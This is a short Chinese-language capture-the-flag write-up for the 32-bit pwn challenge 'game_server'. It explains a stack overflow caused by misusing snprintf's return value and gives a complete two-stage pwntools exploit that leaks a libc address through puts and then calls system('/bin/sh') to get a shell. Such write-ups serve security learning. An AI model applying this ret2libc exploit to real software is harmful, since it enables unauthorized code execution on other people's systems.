[Pwn]game_server xp0int Posted on Oct 28 2018 # game_server <br> 一道溢出+ROP题,虽然连ROPgatget都没用到。 拖进ida,进入主要函数,发现nbytes是snprintf的返回值。而snprintf的返回值是想要写入的长度而不是世纪写入的长度,所以在下面的read存在栈溢出。 ![](https://leanote.com/api/file/getImage?fileId=5bd41744ab64411fb800372b) ![](https://leanote.com/api/file/getImage?fileId=5bd41744ab64411fb800372d) <br> 保护如下: ![](https://leanote.com/api/file/getImage?fileId=5bd41744ab64411fb800372c) <br> 思路是,首先叠一个puts函数leak地址,这里选的是puts的地址,这样就可以算出libc地址,然后返回main函数再溢出一次。 第二次溢出,直接调用system函数,因为是32位所以'/bin/sh'字串直接叠在栈上面就好 其次,本题没有给libc,但是猜一下就知道应该是32为的ubuntu16.04,如果猜不到可以多leak几个地址,去 [libc查询](https://libc.blukat.me) 查一下就知道了。 <br> ```python from pwn import * # context.log_level = 'debug' p = process('./pwn2') elf = ELF('./pwn2') libc = ELF('./libc-2.23.so') # stage 1: leak libc addr p.recvuntil('name?\n') p.sendline('a'*0xfd) p.recvuntil('occupation?\n') p.sendline('b'*0xfd) p.recvuntil('[Y/N]\n') p.sendline('Y') main_addr = 0x80485cb payload = 'a'*277 payload += p32(elf.plt['puts']) + p32(main_addr) + p32(elf.got['puts']) p.sendline(payload) p.recvuntil('\n\n') libc.address = u32(p.recv(4)) - libc.symbols['puts'] # stage 2 p.recvuntil('name?\n') p.sendline('a'*0xfd) p.recvuntil('occupation?\n') p.sendline('b'*0xfd) p.recvuntil('[Y/N]\n') p.sendline('Y') payload = 'a'*277 payload += p32(libc.symbols['system']) + p32(0) + p32(next(libc.search('/bin/sh'))) p.sendline(payload) p.recvuntil('\xf7\x0a') p.interactive() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Misc]bitcoin_base [Misc]加密了吗
没有帐号? 立即注册